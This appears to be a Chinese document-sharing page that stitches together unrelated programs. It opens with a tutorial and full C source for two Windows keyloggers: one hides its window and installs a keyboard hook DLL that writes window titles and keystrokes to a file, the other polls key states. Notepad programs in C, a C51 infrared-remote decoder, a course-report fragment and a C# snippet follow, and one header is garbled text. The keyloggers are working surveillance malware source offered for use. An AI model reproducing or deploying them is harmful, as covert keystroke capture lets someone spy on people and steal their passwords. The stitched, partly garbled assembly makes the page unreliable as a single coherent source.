C语言编写键盘记录器源代码

合集下载

记一次键盘记录器的编写

记一次键盘记录器的编写

新建win32项目键盘记录器的思路1.窗口消息处理的框架一注册窗口类MyRegisterClass二实例化并创建窗口InitInstance三处理窗口消息WndProc2.改造窗口,让它隐藏3.1 WM_CREATE是窗口创建函数3.2 WM_DESTROY是窗口关闭函数建立之初,程序默认窗口是显示的,所以会建立一个ShowWindow(hWnd, nCmdShow);我们要让他隐藏,那就要改第二个参数ShowWindow(hWnd, SW_HIDE);3.让这个程序运行起来了就开始监控按键操作,程序结束了就结束监控.那么我们怎么知道程序什么时刻运行起来了呢,我们是根据其窗口的创建与关闭来判断在建立项目之初,他没有帮我们写WM_CREATE函数,所以在处理窗口消息部分WndProc 中写入case WM_CREATE:…………………… //这一部分就是窗口建立之后所运行的程序,我们在这一部分就开始//写我们所要实现的记录功能,我们称之为钩子函数。

以下为建立钩子程序这个函数我们要在解决方案里重新新建一个空项目keyhook,后选择动态程序dll(动态加载,而不是直接运行),实现这个功能,我们只要在这里调用函数即可在建立keyhook项目完成后要新建一个头文件和cpp文件,来实现钩子的功能接下来在头文件自己定义两个函数来启动钩子bool installhook(); 和关闭钩子bool uninstallhook(); 并且复制到cpp文件中,注意:要让其他文件用到这两个函数,必须要在头文件中将两个函数改写成extern"C"_declspec(dllexport) bool installhook();“C”是指这是c语言代码_declspec是一个函数dllexport参数是动态库导出要在键盘记录器的cpp文件中使用这两个函数,所以要包含其头文件,注意,由于所要包含的是一个动态库,所以是#pragma comment(lib,"keyhook"),而不是以前的#include,除此之外还要导入动态库中的函数,也就是将函数在声明一遍,记住要改dllexport成dllimport,因为这是导入,不是导出,如下#pragma comment(lib,"keyhook")//导入动态库//导入动态库中的函数//启动钩子extern"C"_declspec(dllimport) bool installhook(); //自己定义的函数//关闭钩子extern"C"_declspec(dllimport) bool uninstallhook();然后就开始写钩子程序要实现以下功能//获取用户的按键消息用到SetWindowsHookEx函数,要包含Windows.h的头文件SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);第一个参数代表的是我们要获取键盘的消息第二个参数就是自己定义的函数,就是监控这个消息之后你要做什么事情(在这里就是同时获取当前窗口的标题并同时获取当前按下的按键文本并保存到文件中),这个函数的类型是HOOKPROC,按下F12后是typedef LRESULT (CALLBACK* HOOKPROC)(int code, WPARAM wParam, LPARAM lParam);在这里我们定义这个函数为keyProc来实现这两个功能但我们得要在头文件中声明这个函数,然后才能在cpp文件中使用这个功能用如下程序来实现LRESULT CALLBACK keyProc(int code, WPARAM wParam, LPARAM lParam){char szWriteText[256]; //用来保存标题和文本char szWindowTitle[256]; //保存标题char szKeyText[256]; //保存文本//并同时获取当前窗口的标题HWND hwnd; //创建一个窗口的实例句柄hwnd = ::GetActiveWindow();//让这个窗口句柄等于当前正在使用的窗口if (hwnd == NULL)//如果拿不到串钩{hwnd = ::GetForegroundWindow();//令窗口等于最顶层窗口if (hwnd == NULL)//如果还拿不到{return CallNextHookEx(g_hHook, code, wParam,lParam);//启动下一次钩取}}GetWindowTextA(hwnd, szWindowTitle, 256);//获取窗口文本语句//并同时获取当前按下的按键文本if (code < 0 || code == HC_NOREMOVE)//如果键按下了之后还没有弹起来{return CallNextHookEx(g_hHook, code, wParam, lParam);//启动下一次钩取}if (lParam & 0x40000000)//代表一种异常情况{return CallNextHookEx(g_hHook, code, wParam, lParam);//启动下一次钩取}GetKeyNameTextA(lParam, szKeyText, 256);//获取按键文本语句sprintf(szWriteText, "%s:%s\r\n", szWindowTitle, szWriteText);//吧拿到的文本放到文件中FILE* fp = fopen("C:\\Users\\14612\\Desktop\\键盘记录器.txt","a");if (fp == NULL)//打开文件失败{return CallNextHookEx(g_hHook, code, wParam, lParam);}fwrite(szWriteText, 1, strlen(szWriteText), fp);fclose(fp);return CallNextHookEx(g_hHook, code, wParam, lParam);}第三个参数是得到要调用当前应用程序的实例句柄GetModuleHandle是一个函数其作用是获得当前模块的实例句柄,其参数为当前函数的名字keyhook对于SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);我们可以定义一个句柄来代表他,因为在其他的函数中可能要用到它//并同时获取当前窗口的标题g_hHook=SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);这个实例句柄的类型是HHOOK所以我们要先定义HHOOK g_hHook;最终钩子的程序为bool installhook(){//获取用户的按键消息g_hHook=SetWindowsHookEx(WH_KEYBOARD,keyProc,GetModuleHandle(L"keyhook"),NULL);if (g_hHook == NUll)return false;MessageBox(NULL, L"设置钩子成功!",L"提示", NULL);return true;//并同时获取当前窗口的标题//并同时获取当前按下的按键文本}然后关闭钩子的程序bool uninstallhook(){return UnhookWindowsHookEx(g_hHook);}至此,钩子程序完成然后在窗口建立之后调用钩子函数即可3.1 WM_CREATE是窗口创建函数3.2 WM_DESTROY是窗口关闭函数case WM_DESTROY:PostQuitMessage(0);break;3.3 创建动态库3.3.1 新建DLL工程3.3.2 动态库DLL中函数声明的同时导出3.3.3 使用动态库的代码中要导入动态库并导入动态库中函数4.拿到用户操作的窗口标题5.拿到用户按键的字符。

c语言的记事本源代码

c语言的记事本源代码
case 4: i=0;
if((fp=fopen("tongxunlu.txt","a+"))==NULL)
{ printf(" 无法打开文件~~~\n");
}
while(!feof(fp))
{ i++;
p2=p1;
p1=(link *)malloc(LEN);
printf("Thank your use\n");
else
if(identify=='n'||identify=='N')
exit(0);
else
printf(" 请输入(Y/N):");
{ printf(" 无法打开文件~~~\n");
exit(0);
} //打开文件,并将文件中内容复制到链表中,若文件中无记录,则链表头指针为空
char identify;
// char fullname[10];
link *head,*p,*p1,*p2,*p3;
int choose;
char absorb;
int i;
head=NULL;
welcome();
head=NULL;
p2->next=NULL;
fclose(fp);
if(head==NULL)
p1=p2=(link *)malloc(LEN);
fread(p1,LEN,1,fp);
head=p1;
#include<stdio.h>
#include<stdlib.h>

c语言课设实验报告-记事本程序(含源码)

c语言课设实验报告-记事本程序(含源码)

C语言课设实验报告[记事本程序]班级:学号:姓名:指导老师:C语言课设实验报告#define key_down 80#define key_up 72#define key_esc 1#define key_alt_f 33#define key_alt_x 45#define key_enter 28#define key_alt_e 18int get_key();void box(int startx,int stary,int high,int width);{int i,key,x,y,l;char *w=NULL,*d=NULL,*s=NULL;FILE *fp;char *menu[]={ "File ", "Edit ","Format","View","Help"};char *red[]={ "F", "E","F","V","H"};char *f[]={ "New ", "Open" , "Save", "Another","Quit alt_x"};char *e[]={"Search","Search next","Replace","Date"};char buf[16*10*2],buf1[16*2];textbackground(3);clrscr();window(1,1,80,1);textbackground(WHITE);textcolor(BLUE);clrscr();window(1,1,80,2);for(i=0, l=0; i <5;i++){x=wherex();y=wherey();textcolor(BLACK);cprintf( " %s ",menu[i]);l=strlen(menu[i]);gotoxy(x,y); x.y等的头文件*//*功能键的扫描码的定义*//* i为循环次数的序数,key为从键盘输入的功能键,x,y 为光标的坐标,l为菜单栏中菜单的字符长度*//*w是存放输入的内容(记录的事情)的指针,*s是存放输入的文件名的指针,*d是存放输入要定时的文件的文件名的指针*/ /*菜单栏中各个菜单的定义*//*菜单栏中菜单开头要标颜色的字母的定义*//* file 子菜单中项目的定义*//*edit子菜单的定义*/ /*缓冲区的定义*//*整个大窗口的背景颜色设置*//*创建菜单栏窗口*/ /*设置菜单栏窗口背景颜色为白色,字体颜色为蓝色*//*利用循环输出menu菜单栏,有多少个菜单循环多少次。

C51矩阵键盘汇编语言源代码

C51矩阵键盘汇编语言源代码

C51矩阵键盘汇编语言源代码/************************************************************** ******************;* 描述: *;* lcd1602显示遥控键值读取器 *;* lcd1602显示遥控器接p3.2 *;* 喇叭接p1.5 继电器接p1.4 *;* 17(40h)键按下,继电器吸合。

19(04h)键按下,继电器关闭。

*;* 连接方法:使用红外功能时 J1跳线短接 **************************************************************** *****************/;-----------------------------------------------IRCOM EQU 20H ;20H-23H IR使用X EQU 26H ;LCD 地址变量IRIN EQU P3.2BEEP EQU P1.5RELAY EQU P1.4RS EQU P2.6RW EQU P2.5EN EQU P2.7;------------------------------------------------ORG 0000HJMP MAIN;------------------------------------------------MAIN:MOV SP,#40HMOV A,#00HMOV R0,#20HLOOP0: MOV @R0,A ;20H-26H清零INC R0CJNE R0,#27H,LOOP0SETB IRINCALL SET_LCDCALL MENU1LOOP1:CALL IR_INCALL IR_SHOWMOV A,22HCJNE A,#40H,LOOP2 ;K17键按下CLR RELAY ;继电器吸合LOOP2: CJNE A,#04H,LOOP3 ;K19键按下SETB RELAY ;继电器关闭LOOP3: JMP LOOP1;----------------------------------------------------- ; LCD 初始化设置;----------------------------------------------------- SET_LCD:CLR ENCALL INIT_LCD ;初始化 LCDCALL DELAY1MOV DPTR,#INFO1 ;指针指到显示信息1MOV A,#1 ;显示在第一行CALL LCD_SHOWMOV DPTR,#INFO2 ;指针指到显示信息2MOV A,#2 ;显示在第二行CALL LCD_SHOWRET;----------------------------------------------------- INIT_LCD: ;8位I/O控制 LCD 接口初始化MOV A,#38H ;双列显示,字形5*7点阵CALL WCOMCALL DELAY1MOV A,#38H ;双列显示,字形5*7点阵CALL WCOMCALL DELAY1MOV A,#38H ;双列显示,字形5*7点阵CALL WCOMCALL DELAY1MOV A,#0CH ;开显示,关光标,CALL WCOMCALL DELAY1MOV A,#01H ;清除 LCD 显示屏CALL WCOMCALL DELAY1RET;---------------------------------------------------- LCD_SHOW: ;在LCD的第一行或第二行显示信息字符CJNE A,#1,LINE2 ;判断是否为第一行LINE1: MOV A,#80H ;设置 LCD 的第一行地址CALL WCOM ;写入命令CALL CLR_LINE ;清除该行字符数据MOV A,#80H ;设置 LCD 的第一行地址CALL WCOM ;写入命令JMP FILLLINE2: MOV A,#0C0H ;设置 LCD 的第二行地址CALL WCOM ;写入命令CALL CLR_LINE ;清除该行字符数据MOV A,#0C0H ;设置 LCD 的第二行地址CALL WCOMFILL: CLR A ;填入字符MOVC A,@A+DPTR ;由消息区取出字符CJNE A,#0,LC1 ;判断是否为结束码RETLC1: CALL WDATA ;写入数据INC DPTR ;指针加1JMP FILL ;继续填入字符RET;--------------------------------------------------- CLR_LINE: ;清除该行 LCD 的字符MOV R0,#24CL1: MOV A,#' 'CALL WDATADJNZ R0,CL1RET;---------------------------------------------------- MENU1: ;LCD 显示工作菜单信息MOV DPTR,#MENU2MOV A,#1 ;在第一行显示信息CALL LCD_SHOWRETMENU2: DB " Red Control ",0;----------------------------------------------------- INFO1: DB " ",0 ;LCD 第一行显示信息INFO2: DB " IR-CODE: --H ",0 ;LCD 第二行显示信息;-----------------------------------------------------;----------------------------------------------------- ; 写指令、数据使能子程序;----------------------------------------------------- WCOM:MOV P0,A ;写指令使能CLR RS ;RS=L,RW=L,D0-D7=指令码,E=高脉冲CLR RWSETB ENCALL DELAY0CLR ENRETWDATA:MOV P0,A ;写数据使能SETB RS ;RS=H,RW=L,D0-D7=数据,E=高脉冲CLR RWSETB ENCALL DELAY0CLR ENRETDELAY0: MOV R7,#250 ;延时500微秒DJNZ R7,$RET;---------------------------------------------------;在 LCD 第二行显示字符;A=ASC DATA, B=LINE X POS;--------------------------------------------------- LCDP2: ;在LCD的第二行显示字符PUSH ACC ;MOV A,B ;设置显示地址ADD A,#0C0H ;设置LCD的第二行地址CALL WCOM ;写入命令POP ACC ;由堆栈取出ACALL WDATA ;写入数据RET;--------------------------------------------------- ; IR 译码子程序;--------------------------------------------------- IR_IN:MOV R0,#IRCOMI1: JNB IRIN,I2 ;等待 IR 信号出现JMP I1I2: MOV R4,#20I20: CALL DELDJNZ R4,I20JB IRIN,I1 ;确认IR信号出现I21: JB IRIN,I3 ;等 IR 变为高电平CALL DELJMP I21I3: MOV R3,#0 ;8位数清为0LL: JNB IRIN,I4 ;等 IR 变为低电平CALL DELJMP LLI4: JB IRIN,I5 ;等 IR 变为高电平CALL DELJMP I4I5: MOV R2,#0 ;0.14ms 计数L1: CALL DELJB IRIN, N1 ;等 IR 变为高电平;IR=0,检查R2中的计数值MOV A,#8CLR CSUBB A,R2 ;判断高低位;IF C=0 BIT=0MOV A,@R0RRC AMOV @R0,A ;处理完一位INC R3CJNE R3,#8,LL ;需处理完8位MOV R3,#0INC R0CJNE R0,#24H,LL ;收集到4字节了JMP OKN1: INC R2CJNE R2,#30,L1 ;0.14ms 计数过长则时间到自动离开OK: RET;--------------------------------------------------------------------IR_SHOW:MOV A,22HCPL A ;将22H取反后和23H比较CJNE A,23H,IR_SHOW1 ;如果不等表示接收数据发生错误,放弃。

C语言记事本代码

C语言记事本代码

C语言记事本代码#include<stdio.h>#include<malloc.h>#include<string.h>#include<stdlib.h>#include<ctype.h>#define NULL 0#define MAX 100typedef struct lnode{char date[MAX]; //存放数据struct lnode * prior ; //前驱struct lnode * next ; //后继int number ; //记录一个节点的字符数~如果是头节点就记录他的节点个数int quese ; //记录节点在链表中的位置}lnodetype;lnodetype * l ; //设置两个全局变量,分别是头节点指针和尾节点指针lnodetype * end ;//**********这个函数是用来初始化的**********//int iniatelist (lnodetype ** l , lnodetype ** end){(*l) = (lnodetype *)malloc (sizeof (lnodetype) ) ;if ( (*l) == NULL ){printf ("没有只够的内存空间~程序即将退出~");return 0 ;}(*l)->prior =(*l)->next = NULL ; //这是双链表(*l)->number = (*l)->quese = 0;(*end) = (*l) ;printf ("程序初始化完毕~");return 0;}//**********这个函数是用来建立节点,并且插入元素的**********// int link(lnodetype ** l, lnodetype ** end){lnodetype *s ;s = (lnodetype *)malloc ( sizeof (lnodetype) ) ;if ( s == NULL ){printf ("内存空间不够,程序即将退出~") ;return 0 ;}(*end)->next = s ;s->prior = (*end) ;(*end) = (*end)->next ;(*l)->number++ ; //增加一个节点,头节点的number就加1s->quese = (*l)->number ; //这个是记录节点在链表中的位置printf ("%d行", s->quese ) ; //这个是节点在整个链表中的位置gets(s->date) ;s -> number = strlen(s->date) ;return 0 ;}//**********这个是打印链表的函数**********//int prin (lnodetype ** l, lnodetype ** end){lnodetype * p ;int i ;int j = 0;int couter = (*l)->number ;p = (*l)->next ;for (i=0; i < couter; i++){printf ( "%d行" , i+1 ) ;j = 0;while ( ( p->date[j]>='a' && p->date[j]<='z') || (p->date[j]>='A' && p->date[j]<='z') ||p->date[j]>='0' && p->date[j]<='9'){printf ( "%c" , p->date[j] ) ;j++ ;}printf ("n") ;p = p->next ;}return 0 ;}//*********这个查找和编辑相应行的函数**********//int search (lnodetype ** l, lnodetype ** end ){int number ;scanf ("%d" , &number) ;int i ;lnodetype * p ;p = (*l)->next ;for ( i=0; i<number-1; i++ )p = p->next ;printf ("%d行" , number ) ;gets (p->date) ;return 0 ;}//**********这个是在文本文件里搜索字符串的函数**********// int searchstr(lnodetype ** l , lnodetype ** end){char ptr[100] ;int arrycouter ;int mystrcmp( char *, char * , int ) ;printf ( "ok!现在输入你查找的字符串~" ) ;scanf ( "%s" , ptr ) ;arrycouter = strlen (ptr) ;lnodetype * s ;s = (*l)->next ;char * p ;int i = 1 ;int couter = 0 ;int number = (*l)->number ;p = (char *)s->date ;while ( i && number ){// i=1是,证明没有找到,向第二个节点继续寻找while ( i && ( ( (*p >= 'a') && (*p <= 'z') ) ||( (*p >= 'A') && (*p <= 'Z') ) ) ){i = mystrcmp ( p , ptr , arrycouter );if ( i == 1 ){printf ("字符串已经在第%d行,第%d个字符开始,",s->quese, couter+1 );i = 0 ;}else{p++ ;couter++;i = 1 ;}}s = s->next ;p = (char *)s->date ;number -- ;}if ( i == 1 )printf ("字符串在本文档中不存在~");return 0 ;}//**********(1)这个函数是用来实现退出不保存功能的**********// int exitunsave(lnodetype ** l, lnodetype ** end){lnodetype * s ;while( (*l) != (*end) ){ //如果不保存的话,最好是把节点的空间都释放,节省空间s = (*end) ;(*end) = (*end)->prior ;free( s ) ;}return 0 ;}//**********(2)这个函数是用来实现退出但保存功能的**********// int quitandsave( lnodetype ** l , lnodetype ** end ){FILE * fp ;char ch ;char filename[20] ;lnodetype * p;int i ;int j ;int couter = (*l)->number ;p = (*l)->next ;printf ("请输入文件名:") ;scanf ("%s" , filename ) ;if ( (fp = fopen( filename , "w" )) == NULL ){printf ("文件不能打开~n");return 0 ;}for ( i=0; i<couter; i++ ){ //有几个节点就进行多少次的存贮ch = p->date[0] ;j = 1 ;while (ch != '\0'){fputc (ch , fp) ;ch = p->date[j] ;j++ ;}p = p->next ;fputc ( '#' , fp ) ; //注意在每个节点的后面加上结束的符号}fputc ( '@' , fp ) ; //整个文件关闭的标志fclose ( fp ) ; //注意关闭文件,return 0 ;}//**********由于库函数比较字符串提供的功能不满足要求,故自己写了一个**********/int mystrcmp( char * p ,char * sour ,int number ){while ( number && (*p) == (*sour) &&( ( (*p >= 'a') && (*p <= 'z') ) || ( (*p >= 'A')&& (*p <= 'Z') ) )){p++ ;sour++ ;number-- ;}if ( number == 0 )return 1 ;elsereturn 0 ;}//**********这个函数是用来实现统计字符串功能的**********//int coutword(lnodetype ** l , lnodetype ** end){ //考虑到只统计一行的单词没有意义,故统计整个文本int yes = 1 ; //这个是进入单词的标志int no = 0 ; //在单词外面的时候的标志int i , j ,inaword ,count = 0 ;inaword = no ;lnodetype * s = (*l)->next ;for (j=0; j<(*l)->number; j++){for ( i=0; (s->date[i]>='a' && s->date[i]<='z') || (s->date[i]>='A' && s->date[i]<='z') ||(s->date[i]>='0' && s->date[i]<='9' ) ||(s->date[i]==' '); i++ ){if ( s->date[i] == ' ' )inaword = no ;elseif ( inaword == no ){inaword = yes ;count++ ; //计算单词}}s = s->next ;inaword = 0 ; //注意这里,把标志置为0了~}printf ( "n文本一共有 %d 行" , (*l)->number ) ;printf ("n此文本一共有 %d 个单词!" , count ) ;return count ;}//**********这个函数是用来实现计算文本行数功能的**********// int linecouter(lnodetype ** l , lnodetype ** end ){int couter ;couter = (*l)->number ;return couter ;}//**********这个函数是整和一上所有功能的菜单函数**********// int editmenu(lnodetype ** l , lnodetype ** end ){char choice ;char * p = "cls" ;int i = 1 ; //这两个变量是用来控制循环的int j= 1 ;system (p) ;prin (&(*l) , &(*end)) ;while (j){printf ("*********************************** e: 编辑相应行*************************************n") ;printf ("*********************************** s: 搜索字符串*************************************n") ;printf ("*********************************** t: 统计单词个数***********************************n") ;printf ("*********************************** q: 退出编辑***************************************n") ;scanf("%c",&choice);scanf("%c" , &choice) ; //,,,,莫名其妙的问题,非要两个请求输入语句才肯停下来~switch (choice){case 'e' : {i = 1 ;while (i){search( &(*l) , &(*end) );system (p) ;prin( &(*l) , &(*end) ) ;printf ("n1 继续编辑 0 结束编辑n") ;scanf ("%d" , &i) ;}}break;case 's' : {i = 1 ;while (i){searchstr( &(*l) , &(*end) );getchar();getchar();system (p) ;prin( &(*l) , &(*end) ) ;printf ("n1 继续搜索 0 结束搜索n") ; scanf ("%d" , &i) ;}}break;case 't' : {coutword ( &(*l) , &(*end) ) ;getchar() ;}break;default : return 0 ;}system (p) ;prin( &(*l) , &(*end) ) ;printf ("n1 回到编辑菜单 0 结束编辑n") ; scanf ("%d" , &j) ;if (j == 1)system (p) ;elsereturn 0 ;}return 0 ;}//**********实现第一个模块:新建空白文档**********// int newtext( lnodetype ** l ,lnodetype ** end ) {printf ( "新文本文件:n" ) ;int i = 1 ;char judstr[MAX] ;lnodetype * temp ;char jud ;char * p = "cls" ;while ( 1 ){link( &(*l) , &(*end) ) ;jud = (*end)->date[0] ;if ( jud == '5' ){ //输入‘5’结束一切temp = (*end) ;(*end) = (*end)->prior ;free (temp) ;while (1){printf ( "******************************* out :退出不保存****************************n") ;printf ( "******************************* edit :编辑信息*****************************n") ;printf ( "******************************* quit :退出而不存盘**************************n") ;printf ( "******************************* qas :退出且存盘****************************n") ;printf ( "******************************* con :继续输入~*****************************n") ;gets(judstr) ;if ( !strcmp(judstr , "out") ){exitunsave( &(*l) , &(*end) ) ;return 0 ;}elseif ( !strcmp(judstr , "qas") ){quitandsave( &(*l) , &(*end) ) ;return 0 ;}elseif ( !strcmp(judstr , "edit") ){editmenu (l , end) ;return 0;}system (p) ;}return 0 ;}}return 0 ;}//**********这个是装入文件的函数**********// int loadtaxt( char * filename ){FILE * fp ;lnodetype * l ;char ch ;int i = 0 ;char * p = "cls" ;char judstr[MAX] ;lnodetype * head ;lnodetype * end ;iniatelist ( &head , &end) ;l = end = head ;if ( (fp = fopen( filename, "r+")) == NULL ){ printf ("文件不能打开~n") ;return 0 ;}ch = fgetc ( fp ) ;while ( ch != '@' ){lnodetype *s ;s = (lnodetype *)malloc ( sizeof (lnodetype) ) ; if ( s == NULL ){printf ("内存空间不够,程序即将退出~") ;return 0 ;}end->next = s ;s->prior = end ;end = end->next ;l->number++ ;s->quese = l->number ;printf ("%d行", s->quese ) ;while ( ch != '#'){s->date[i] = ch ;ch = fgetc (fp) ;i++ ;}i = 0;while ( (end->date[i]>='a' && end->date[i]<='z') ||(end->date[i]>='A' && end->date[i]<='z') ||(end->date[i]>='0' && end->date[i]<='9' ) ||(end->date[i]==' ') ){printf ( "%c" , end->date[i] ) ;i++ ;}end->date[i] = '\0' ; //注意在节点的最好加上这个,以让退出保存功能函数知道此节点已结束printf ( "n" ) ;i = 0;ch = fgetc ( fp ) ;}fclose (fp) ;printf ("n文件成功装入~n") ;while (1){printf ( "******************************* out :退出不保存****************************n") ;printf ( "******************************* edit :编辑信息*****************************n") ;printf ( "******************************* qas :退出且存盘****************************n") ;printf ( "******************************* con :继续输入~*****************************n") ;scanf("%s",judstr);if ( !strcmp(judstr , "out") ){exitunsave( &l , &end ) ;return 0 ;}elseif ( !strcmp(judstr , "qas") ){quitandsave( &l , &end ) ;return 0 ;}elseif ( !strcmp(judstr , "edit") ){editmenu (&l , &end) ;return 0 ;}system (p) ;}return 0 ;}//**********主函数**********// void main ( void ){//iniatelist (&l , &end) ;//newtext(&l , &end) ;char filename[MAX] ;scanf ( "%s" , filename ) ; loadtaxt( filename ) ;}很不容易做的程序~~~通过编译。

C语言编写键盘记录器源代码

C语言编写键盘记录器源代码

//CÓïÑÔ±àд¼üÅ̼ǼÆ÷Ô´´úÂë¡¾×ªÔØ¡¿2010Äê06ÔÂ16ÈÕ ÐÇÆÚÈý ÏÂÎç 07:59 #include <windows.h>#include <stdio.h>// Some Global Variables// Lower Case Key & Some Other Keyschar *LowerCase[]={"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]","[F10]","[F11]","[F12]","`","1","2","3","4","5","6","7","8","9","0","-","=","[TAB]","q","w","e","r","t","y","u","o","p","[","]","a","s","d","f","g","h","j","k","l",";","'","z","x","c","v","b","n","m",",",".","/","\\", "[CTRL]", "[WIN]"," ","[WIN]","[Print Screen]", "[Scroll Lock]", "[Insert]", "[Home]", "[PageUp]", "[Del]", "[End]", "[PageDown]", "[Left]", "[UP]", "[Right]", "[Down]","[Num Lock]","*","-","+","0","1","2","3","4","5","6","7","8","9",".",};// Upper Case Key & Some Other Keys char *UpperCase[]={"b","e","[ESC]","[F1]","[F2]","[F3]","[F4]","[F5]","[F6]","[F7]","[F8]","[F9]","[F10]","[F11]","[F12]","~","!","@","#","$","%","^","&","*","(","_","+","[TAB]","Q","W","E","R","T","Y","U","I","O","P","{","}","A","S","D","F","G","H","J","K","L",":","\"","Z","X","C","V","B","N","M","<",">",".?","|", "[CTRL]", "[WIN]"," ","[WIN]","[Print Screen]", "[Scroll Lock]","[Insert]","[Home]","[PageUp]","[Del]","[End]","[PageDown]","[Left]","[Up]","[Right]","[Down]","[Num Lock]","/","*","-","+","0","1","2","3","4","5","6","7","8","9",".",};// Ascii Keys,Forget About It int SpecialKeys[]={8,13,27,112,113,114,115,116,117,118,119,120,121,122,192, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48, 189, 187, 9, 81, 87, 69, 82, 84, 89, 85, 73, 79, 80, 219, 221, 65, 83, 68, 70, 71, 72, 74, 75, 76, 186, 222, 90, 88, 67, 86, 66, 78,188,190,191,220,17,91,32,92,44,145,45,36,33,46,35,34,37,38,39,40,144,111,106,109,107,96,97,98,99,100,101,102,103,104,105,110,};HWND PreviousFocus=NULL;// End Of Data// Function ProtoType Declaration//----------------------------------------------------------------------BOOL IsWindowsFocusChange();BOOL KeyLogger();//----------------------------------------------------------------------// End Of Fucntion ProtoType Declaration// Main Functionint main(){KeyLogger(); // Run The Keyloggerreturn 0; // The Program Quit}// End Of Main//-------------------------------------------------------------------------// Purpose: To Check The Active Windows Title// Return Type: Boolean// Parameters: NULL//-------------------------------------------------------------------------BOOL IsWindowsFocusChange(){HWND hFocus = GetForegroundWindow(); // Retrieve The Active Windows's FocusBOOL ReturnFlag = FALSE; // Declare The Return Flagif (hFocus != PreviousFocus) // The Active Windows Has Change{PreviousFocus = hFocus; // Save The Old Active Windos Focusint WinLeng = GetWindowTextLength(hFocus); // Get The Active Windows's Caption's Lengthchar *WindowCaption = (char*) malloc(sizeof(char) * (WinLeng + 2)); // Allocate Memory For The CaptionGetWindowText(hFocus,WindowCaption,(WinLeng + 1)); // Retrieve The Active Windows's Captionif (strlen(WindowCaption) > 0) // Really Get The Windows's Caption {printf("\r\nThe Active Windows Title: %s\r\n",WindowCaption); // Display The Active Windows's CaptionReturnFlag=TRUE; // Indicate The Windows's Focus Has Changed}free(WindowCaption); // Free The Allocated Memory}return ReturnFlag; // Return The Flag}// End Of IsWindowsFocusChange Function//-------------------------------------------------------------------------// Purpose: To Manage(Display)The Keys Retrieved From System's Key Buffer// Return Type: Boolean// Parameters: NULL//-------------------------------------------------------------------------BOOL KeyLogger(){int bKstate[256] = {0}; // Declare The Key State Arrayint i,x;char KeyBuffer[600]; // Key Buffer Arrayint state; // Variable To Hode State Of Some Special Key Like CapsLock,Shift And ectint shift; // Variable To Hode State Of Shift Key// Reset The Buffermemset(KeyBuffer,0,sizeof(KeyBuffer));while(TRUE) // Forever Loop Is Taking Place Here{Sleep(8); // Rest For A While,And Avoid Taking 100% CPU Usage.Pretty Important To Add This Line Or The System Gets Fucked UPif (IsWindowsFocusChange()) //Check The Active Windows Title{if (strlen(KeyBuffer) != 0) // Keys Are Pressed{printf("%s\r\n",KeyBuffer); // Display The Keys Pressedmemset(KeyBuffer,0,sizeof(KeyBuffer)); // reset The Buffer}}for(i=0;i<95;i++) // Looping To Check Visual Keys{shift = GetKeyState(VK_SHIFT); // Check Whether Shift Is Pressedx = SpecialKeys[i]; // Match The Keyif (GetAsyncKeyState(x) & 0x8000) // Check Combination Keys{// See Whether CapsLocak Or Shift Is Pressedif (((GetKeyState(VK_CAPITAL) != 0) && (shift > -1) && (x > 64) && (x< 91))) //Caps Lock And Shift Is Not Pressed{bKstate[x] = 1; //Uppercase Characters A-Z}elseif (((GetKeyState(VK_CAPITAL) != 0) && (shift < 0) && (x > 64) && (x < 91))) //Caps Lock And Shift Is Pressed{bKstate[x] = 2; //Lowercase a-z}elseif (shift < 0) // Shift Is Pressed{bKstate[x] = 3; //Uppercase Characters A-Z}elsebKstate[x] = 4; //Lowercase a-z}else{if (bKstate[x] != 0) // No Combination Keys Detected{state = bKstate[x]; // Retrieve The Current StatebKstate[x] = 0; // Reset The Current Stateif (x == 8) // Back Space Is Detected{KeyBuffer[strlen(KeyBuffer) - 1] = 0; // One Key Back Thencontinue; // Start A New Loop}elseif (strlen(KeyBuffer) > 550) // Buffer FULL{printf("%s <Buffer Full>",KeyBuffer); // Display The Keys Retrievedmemset(KeyBuffer,0,sizeof(KeyBuffer)); // Reset The Buffercontinue; // Start A New Loop}elseif (x == 13) // Enter Is Detected{if (strlen(KeyBuffer) == 0) // No Other Keys Retrieved But Enter{continue; // Start A New Loop}printf("%s<Enter>\r\n",KeyBuffer); // Retrieve Other Keys With Entermemset(KeyBuffer,0,sizeof(KeyBuffer)); // Display The Keys With Entercontinue; // Start A New Loop}elseif ((state%2) == 1) //Must Be Upper Case Characters{strcat(KeyBuffer,UpperCase[i]); // Store The Key To Key Buffer}elseif ((state%2) == 0) // Must Be Lower Case Characters{strcat(KeyBuffer,LowerCase[i]); // Store The Key To Key Buffer}}}}// End Of For Loop}// End Of While Loopreturn TRUE; // Return To The Caller}// End Of KeyLogger Function// End Of File。

C语言程序设计报告(键盘控制)

C语言程序设计报告(键盘控制)
puts("\n\t\t是否直接开始点名?(y/n)");
if(getch()=='y'){
CLS();
takeAttendance();
}
}
puts("\n\t\t[按任意键返回]");
getch();
return 1;
}
//查询所有
int selectAll(){
for(;( buffer=fgetc(fp) )!=EOF;){
switch(buffer){
case '\n':
printf("%c",buffer);
PRINT("\t\t");
break;
case '!':
break;
scanf("%s",name);
fputc('!',fp);
fputs(name,fp);
fputc('#',fp);
fputs(id,fp);
fputc('@',fp);
fputs(date,fp);
fputc('\n',fp);
puts("\t\t成功记录!");
break;
case 1:
CLS();
takeAttendance();
break;
case 2:
return 1;
break;
}
}
}
//查询
int process2(){
int select,selected;

C#控制键盘按键(大小写按键等)的代码

C#控制键盘按键(大小写按键等)的代码

C#控制键盘按键(⼤⼩写按键等)的代码将代码过程较好的代码段做个记录,如下的资料是关于C#控制键盘按键(⼤⼩写按键等)的代码。

